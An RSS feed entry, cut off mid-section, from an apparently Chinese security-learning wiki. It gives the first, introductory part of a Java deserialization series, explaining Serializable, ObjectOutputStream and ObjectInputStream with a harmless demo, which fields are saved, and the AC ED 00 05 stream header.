<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>光跃Eason·安研社</title>
        <link>https://gysec.top/</link>
        <description>AI时代漏洞复现实战Wiki —— 懂本质·通底层·实战中快速成长</description>
        <lastBuildDate>Mon, 21 Sep 2026 07:21:23 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>zh-CN</language>
        <copyright>光跃Eason·安研社</copyright>
        <item>
            <title><![CDATA[5.11 序列化：一个对象，是怎么变成一串字节的]]></title>
            <link>https://gysec.top/learn/java-serialization-basics</link>
            <guid isPermaLink="false">https://gysec.top/learn/java-serialization-basics</guid>
            <pubDate>Mon, 21 Sep 2026 06:21:06 GMT</pubDate>
            <description><![CDATA[
# 5.11 序列化：一个对象，是怎么变成一串字节的

> 这是「Java 反序列化深度」系列的 Part 1，免费。
> 学完你会明白：为什么 Java 要把对象"冻"成字节、`Serializable` 到底是个什么东西、序列化时哪些东西被保存、哪些被丢掉。
> 后面 Part 2 讲 `readObject` 反序列化的内部过程，Part 3 讲 gadget（利用链）的本质，Part 4 手搓第一条链。

## 一、先想清楚一个问题：对象为什么要"变身"

程序跑起来的时候，一个 `User` 对象是**活的**——它躺在 JVM 的堆内存里，有字段、有方法，能被程序调用。

但内存里的东西有两个致命问题：

1. **程序一关，内存清空，对象就没了。** 你没法把它存到磁盘上，下次开机接着用。
2. **内存不能跨机器。** 你没法把这台 JVM 堆里的对象，直接"搬"到另一台服务器的 JVM 里。

于是 Java 提供了一套机制：**把内存里的对象，转换成一串可以保存、可以传输的字节**。这个过程叫**序列化（Serialization）**；反过来，把字节重新还原成内存里的对象，叫**反序列化（Deserialization）**。

```mermaid
flowchart LR
    A["内存中的对象<br/>User{name=小明, age=18}"] -->|序列化 writeObject| B["一串字节<br/>AC ED 00 05 ..."]
    B --> C["磁盘文件 / 网络 / 数据库"]
    C -->|另一时刻或另一台机器| D["一串字节"]
    D -->|反序列化 readObject| E["内存中的对象<br/>User{name=小明, age=18}"]
```

你可以把它理解成**冻肉和解冻**：

- 序列化 = 把活对象"冻"成一块能长期存放、能快递的肉；
- 反序列化 = 收到后"解冻"，对象重新活过来。

这套机制在 Java 世界里无处不在：RMI 远程调用、Session 持久化、缓存（Redis / 内存网格）、消息队列、某些 RPC 框架……底层都在做序列化。**而反序列化漏洞，恰恰就藏在"解冻"这个动作里。** 要理解漏洞，先得把序列化本身搞明白。

## 二、让一个类"可被序列化"：实现 Serializable

Java 里不是所有对象都能被序列化的。一个类想获得这个能力，必须实现一个叫 `Serializable` 的接口：

```java
import java.io.Serializable;

public class User implements Serializable {
    private static final long serialVersionUID = 1L;  // 作用后面讲

    private String name;
    private int age;

    public User(String name, int age) {
        this.name = name;
        this.age = age;
        System.out.println("构造器被调用了");
    }

    public String toString() {
        return "User{name=" + name + ", age=" + age + "}";
    }
}
```

注意 `Serializable` 长这样：

```java
public interface Serializable {
    // 里面一个方法都没有！
}
```

它是一个**标记接口（marker interface）**——接口里一个方法都没有，它的唯一作用就是给类"盖个章"，告诉 JVM："这个类我设计过，可以被序列化。"

如果一个类没实现 `Serializable` 你就硬要序列化它，运行时会抛出 `java.io.NotSerializableException`。

## 三、真正动手：序列化 + 反序列化

Java 用两个流来完成这件事：

- `ObjectOutputStream` 的 `writeObject(obj)`：把对象写成字节；
- `ObjectInputStream` 的 `readObject()`：从字节读回对象，返回值是 `Object`，需要强转。

```java
import java.io.*;

public class SerialDemo {
    public static void main(String[] args) throws Exception {
        User user = new User("小明", 18);

        // 1. 序列化：对象 → 文件 user.bin
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("user.bin"));
        oos.writeObject(user);
        oos.close();

        // 2. 反序列化：文件 → 对象
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("user.bin"));
        User back = (User) ois.readObject();
        ois.close();

        System.out.println(back);  // User{name=小明, age=18}
    }
}
```

运行输出：

```text
构造器被调用了
User{name=小明, age=18}
```

**"构造器被调用了"只打印了一次。** 这是第一个反直觉、也是理解漏洞的关键点：

> 反序列化创建对象时，**不会调用类的构造器**。

想想也合理：构造器往往负责初始化、校验、开资源，而反序列化是要"还原对象当时的状态"，如果再跑一遍构造器，可能把还原好的字段冲掉。所以 JVM 绕过构造器，**直接按照字节流里记录的字段值，把对象"拼"出来**。

记住这句话——**反序列化是一条不经过构造器的"造对象"通道**。既然它能造对象，就可能被人利用来造出"不该被造出的东西"。这是后话。

## 四、序列化到底保存了什么？（重点表格）

很多人以为序列化是把整个对象"拍照"存下来，其实不是。它只保存**对象的非静态、非 transient 的实例字段**，而且是**递归**保存的。

| 成员类型 | 是否被序列化 | 说明 |
|]]></description>
            <content:encoded><![CDATA[<h1 id="_5-11-序列化-一个对象-是怎么变成一串字节的" tabindex="-1">5.11 序列化：一个对象，是怎么变成一串字节的 <a class="header-anchor" href="#_5-11-序列化-一个对象-是怎么变成一串字节的" aria-label="Permalink to &quot;5.11 序列化：一个对象，是怎么变成一串字节的&quot;"></a></h1>
<blockquote>
<p>这是「Java 反序列化深度」系列的 Part 1，免费。
学完你会明白：为什么 Java 要把对象&quot;冻&quot;成字节、<code>Serializable</code> 到底是个什么东西、序列化时哪些东西被保存、哪些被丢掉。
后面 Part 2 讲 <code>readObject</code> 反序列化的内部过程，Part 3 讲 gadget（利用链）的本质，Part 4 手搓第一条链。</p>
</blockquote>
<h2 id="一、先想清楚一个问题-对象为什么要-变身" tabindex="-1">一、先想清楚一个问题：对象为什么要&quot;变身&quot; <a class="header-anchor" href="#一、先想清楚一个问题-对象为什么要-变身" aria-label="Permalink to &quot;一、先想清楚一个问题：对象为什么要&quot;变身&quot;&quot;"></a></h2>
<p>程序跑起来的时候，一个 <code>User</code> 对象是<strong>活的</strong>——它躺在 JVM 的堆内存里，有字段、有方法，能被程序调用。</p>
<p>但内存里的东西有两个致命问题：</p>
<ol>
<li><strong>程序一关，内存清空，对象就没了。</strong> 你没法把它存到磁盘上，下次开机接着用。</li>
<li><strong>内存不能跨机器。</strong> 你没法把这台 JVM 堆里的对象，直接&quot;搬&quot;到另一台服务器的 JVM 里。</li>
</ol>
<p>于是 Java 提供了一套机制：<strong>把内存里的对象，转换成一串可以保存、可以传输的字节</strong>。这个过程叫<strong>序列化（Serialization）</strong>；反过来，把字节重新还原成内存里的对象，叫<strong>反序列化（Deserialization）</strong>。</p>
<div class="mermaid-wrap"><MermaidChart chart="flowchart%20LR%0A%20%20%20%20A%5B%22%E5%86%85%E5%AD%98%E4%B8%AD%E7%9A%84%E5%AF%B9%E8%B1%A1%3Cbr%2F%3EUser%7Bname%3D%E5%B0%8F%E6%98%8E%2C%20age%3D18%7D%22%5D%20--%3E%7C%E5%BA%8F%E5%88%97%E5%8C%96%20writeObject%7C%20B%5B%22%E4%B8%80%E4%B8%B2%E5%AD%97%E8%8A%82%3Cbr%2F%3EAC%20ED%2000%2005%20...%22%5D%0A%20%20%20%20B%20--%3E%20C%5B%22%E7%A3%81%E7%9B%98%E6%96%87%E4%BB%B6%20%2F%20%E7%BD%91%E7%BB%9C%20%2F%20%E6%95%B0%E6%8D%AE%E5%BA%93%22%5D%0A%20%20%20%20C%20--%3E%7C%E5%8F%A6%E4%B8%80%E6%97%B6%E5%88%BB%E6%88%96%E5%8F%A6%E4%B8%80%E5%8F%B0%E6%9C%BA%E5%99%A8%7C%20D%5B%22%E4%B8%80%E4%B8%B2%E5%AD%97%E8%8A%82%22%5D%0A%20%20%20%20D%20--%3E%7C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%20readObject%7C%20E%5B%22%E5%86%85%E5%AD%98%E4%B8%AD%E7%9A%84%E5%AF%B9%E8%B1%A1%3Cbr%2F%3EUser%7Bname%3D%E5%B0%8F%E6%98%8E%2C%20age%3D18%7D%22%5D%0A" /></div><p>你可以把它理解成<strong>冻肉和解冻</strong>：</p>
<ul>
<li>序列化 = 把活对象&quot;冻&quot;成一块能长期存放、能快递的肉；</li>
<li>反序列化 = 收到后&quot;解冻&quot;，对象重新活过来。</li>
</ul>
<p>这套机制在 Java 世界里无处不在：RMI 远程调用、Session 持久化、缓存（Redis / 内存网格）、消息队列、某些 RPC 框架……底层都在做序列化。<strong>而反序列化漏洞，恰恰就藏在&quot;解冻&quot;这个动作里。</strong> 要理解漏洞，先得把序列化本身搞明白。</p>
<h2 id="二、让一个类-可被序列化-实现-serializable" tabindex="-1">二、让一个类&quot;可被序列化&quot;：实现 Serializable <a class="header-anchor" href="#二、让一个类-可被序列化-实现-serializable" aria-label="Permalink to &quot;二、让一个类&quot;可被序列化&quot;：实现 Serializable&quot;"></a></h2>
<p>Java 里不是所有对象都能被序列化的。一个类想获得这个能力，必须实现一个叫 <code>Serializable</code> 的接口：</p>
<div class="language-java vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">java</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">import</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> java.io.Serializable;</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">public</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> class</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> User</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> implements</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> Serializable</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> {</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    private</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> static</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> final</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> long</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> serialVersionUID </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 1L</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">;  </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// 作用后面讲</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    private</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> String name;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    private</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> int</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> age;</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    public</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> User</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(String </span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70">name</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">int</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70"> age</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) {</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">        this</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.name </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> name;</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">        this</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.age </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> age;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        System.out.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">println</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"构造器被调用了"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">);</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    public</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> String </span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">toString</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">() {</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">        return</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "User{name="</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> +</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> name </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">+</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> ", age="</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> +</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> age </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">+</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "}"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div><p>注意 <code>Serializable</code> 长这样：</p>
<div class="language-java vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">java</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">public</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> interface</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> Serializable</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> {</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    // 里面一个方法都没有！</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div><p>它是一个<strong>标记接口（marker interface）</strong>——接口里一个方法都没有，它的唯一作用就是给类&quot;盖个章&quot;，告诉 JVM：&quot;这个类我设计过，可以被序列化。&quot;</p>
<p>如果一个类没实现 <code>Serializable</code> 你就硬要序列化它，运行时会抛出 <code>java.io.NotSerializableException</code>。</p>
<h2 id="三、真正动手-序列化-反序列化" tabindex="-1">三、真正动手：序列化 + 反序列化 <a class="header-anchor" href="#三、真正动手-序列化-反序列化" aria-label="Permalink to &quot;三、真正动手：序列化 + 反序列化&quot;"></a></h2>
<p>Java 用两个流来完成这件事：</p>
<ul>
<li><code>ObjectOutputStream</code> 的 <code>writeObject(obj)</code>：把对象写成字节；</li>
<li><code>ObjectInputStream</code> 的 <code>readObject()</code>：从字节读回对象，返回值是 <code>Object</code>，需要强转。</li>
</ul>
<div class="language-java vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">java</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">import</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> java.io.</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">*</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">;</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">public</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> class</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> SerialDemo</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> {</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    public</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> static</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> void</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> main</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">String</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">[] </span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70">args</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">throws</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Exception {</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        User user </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> new</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> User</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"小明"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">18</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">);</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">        // 1. 序列化：对象 → 文件 user.bin</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        ObjectOutputStream oos </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> new</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> ObjectOutputStream</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">new</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> FileOutputStream</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"user.bin"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">));</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        oos.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">writeObject</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(user);</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        oos.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">close</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">();</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">        // 2. 反序列化：文件 → 对象</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        ObjectInputStream ois </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> new</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> ObjectInputStream</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">new</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> FileInputStream</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"user.bin"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">));</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        User back </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (User) ois.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">readObject</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">();</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        ois.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">close</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">();</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        System.out.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">println</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(back);  </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// User{name=小明, age=18}</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div><p>运行输出：</p>
<div class="language-text vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">text</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0" v-pre=""><code><span class="line"><span>构造器被调用了</span></span>
<span class="line"><span>User{name=小明, age=18}</span></span></code></pre>
</div><p><strong>&quot;构造器被调用了&quot;只打印了一次。</strong> 这是第一个反直觉、也是理解漏洞的关键点：</p>
<blockquote>
<p>反序列化创建对象时，<strong>不会调用类的构造器</strong>。</p>
</blockquote>
<p>想想也合理：构造器往往负责初始化、校验、开资源，而反序列化是要&quot;还原对象当时的状态&quot;，如果再跑一遍构造器，可能把还原好的字段冲掉。所以 JVM 绕过构造器，<strong>直接按照字节流里记录的字段值，把对象&quot;拼&quot;出来</strong>。</p>
<p>记住这句话——<strong>反序列化是一条不经过构造器的&quot;造对象&quot;通道</strong>。既然它能造对象，就可能被人利用来造出&quot;不该被造出的东西&quot;。这是后话。</p>
<h2 id="四、序列化到底保存了什么-重点表格" tabindex="-1">四、序列化到底保存了什么？（重点表格） <a class="header-anchor" href="#四、序列化到底保存了什么-重点表格" aria-label="Permalink to &quot;四、序列化到底保存了什么？（重点表格）&quot;"></a></h2>
<p>很多人以为序列化是把整个对象&quot;拍照&quot;存下来，其实不是。它只保存<strong>对象的非静态、非 transient 的实例字段</strong>，而且是<strong>递归</strong>保存的。</p>
<table tabindex="0">
<thead>
<tr>
<th>成员类型</th>
<th>是否被序列化</th>
<th>说明</th>
</tr>
</thead>
<tbody>
<tr>
<td>普通实例字段（基本类型）</td>
<td>✅ 是</td>
<td>如 <code>int age</code>，直接存值</td>
</tr>
<tr>
<td>普通实例字段（引用类型）</td>
<td>✅ 是（递归）</td>
<td>字段指向的对象也会被一起序列化</td>
</tr>
<tr>
<td><code>static</code> 静态字段</td>
<td>❌ 否</td>
<td>静态字段属于&quot;类&quot;，不属于某个对象</td>
</tr>
<tr>
<td><code>transient</code> 修饰的字段</td>
<td>❌ 否</td>
<td>主动告诉 JVM：这个字段别存</td>
</tr>
<tr>
<td>类的方法（代码）</td>
<td>❌ 否</td>
<td>方法在 .class 里，靠类定义恢复</td>
</tr>
<tr>
<td><code>serialVersionUID</code></td>
<td>✅ 写入流头</td>
<td>用于反序列化时校验版本</td>
</tr>
</tbody>
</table>
<p>举个例子，给 <code>User</code> 加两个字段：</p>
<div class="language-java vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">java</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">public</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> class</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> User</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> implements</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> Serializable</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> {</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    private</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> static</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> final</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> long</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> serialVersionUID </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 1L</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    private</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> String name;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    private</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> transient</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> String password;  </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// 敏感信息，不序列化</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    private</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> static</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> String platform </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "WEB"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">; </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// 静态，不序列化</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    private</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> int</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> age;</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    // ...</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div><p>序列化再反序列化后：</p>
<ul>
<li><code>name</code>、<code>age</code> 正常恢复；</li>
<li><code>password</code> 变成 <code>null</code>（引用类型默认值），没有被保存；</li>
<li><code>platform</code> 不参与序列化，它的值来自当前 JVM 里加载的类。</li>
</ul>
<p>**&quot;递归保存引用对象&quot;**这一点尤其重要。假设 <code>User</code> 里有个 <code>Address addr</code> 字段，序列化 <code>User</code> 时，<code>addr</code> 指向的 <code>Address</code> 对象也会被一起写进字节流；如果 <code>Address</code> 没实现 <code>Serializable</code>，同样会抛 <code>NotSerializableException</code>。</p>
<div class="mermaid-wrap"><MermaidChart chart="flowchart%20TD%0A%20%20%20%20U%5B%22User%20%E5%AF%B9%E8%B1%A1%22%5D%20--%3E%20U1%5B%22name%20%3D%20%E5%B0%8F%E6%98%8E%20%E2%9C%85%22%5D%0A%20%20%20%20U%20--%3E%20U2%5B%22age%20%3D%2018%20%E2%9C%85%22%5D%0A%20%20%20%20U%20--%3E%20U3%5B%22addr%20%E5%BC%95%E7%94%A8%20%E2%86%92%20%E9%80%92%E5%BD%92%E5%BA%8F%E5%88%97%E5%8C%96%22%5D%0A%20%20%20%20U3%20--%3E%20AD%5B%22Address%20%E5%AF%B9%E8%B1%A1%3Cbr%2F%3Ecity%20%3D%20%E5%8C%97%E4%BA%AC%20%E2%9C%85%22%5D%0A%20%20%20%20U%20--%3E%20U4%5B%22password%EF%BC%88transient%EF%BC%89%E2%9D%8C%20%E8%B7%B3%E8%BF%87%22%5D%0A%20%20%20%20U%20--%3E%20U5%5B%22platform%EF%BC%88static%EF%BC%89%E2%9D%8C%20%E8%B7%B3%E8%BF%87%22%5D%0A" /></div><p>这种&quot;一个对象牵着一串对象，递归地全部序列化&quot;的特性，正是后面 gadget 链能够<strong>一环扣一环</strong>触发的物理基础——字节流里可以嵌套非常深的对象结构。</p>
<h2 id="五、那串字节长什么样" tabindex="-1">五、那串字节长什么样？ <a class="header-anchor" href="#五、那串字节长什么样" aria-label="Permalink to &quot;五、那串字节长什么样？&quot;"></a></h2>
<p>用十六进制打开 <code>user.bin</code>，开头一定是这两个字节：</p>
<div class="language-text vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">text</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0" v-pre=""><code><span class="line"><span>AC ED 00 05</span></span></code></pre>
</div><ul>
<li><code>AC ED</code> 叫 <strong>STREAM_MAGIC（魔数）</strong>，相当于这个序列化流的&quot;身份证&quot;，JVM 一看到它就知道&quot;这是 Java 序列化数据&quot;；</li>
<li><code>00 05</code> 是 <strong>STREAM_VERSION</strong>，序列化协议版本号。</li>
</ul>
<p>后面依次是：类描述（类名、<code>serialVersionUID</code>、字段列表）、字段的值、引用对象的描述…… 现在不要求你看懂每一个字节，但要建立一个印象：<strong>这是一份有固定格式、JVM 能照着它一步步把对象拼回来的数据结构。</strong></p>
<blockquote>
<p>安全上的小习惯：在流量或文件里看到 <code>AC ED 00 05</code>，或者它的 Base64 形式 <code>rO0ABX</code>（<code>AC ED 00 05</code> 做 Base64 后的开头），基本就能判断&quot;这里有 Java 序列化数据&quot;，值得多看一眼。</p>
</blockquote>
<h2 id="六、serialversionuid-版本-对不上-会怎样" tabindex="-1">六、serialVersionUID：版本&quot;对不上&quot;会怎样 <a class="header-anchor" href="#六、serialversionuid-版本-对不上-会怎样" aria-label="Permalink to &quot;六、serialVersionUID：版本&quot;对不上&quot;会怎样&quot;"></a></h2>
<p>前面代码里反复出现：</p>
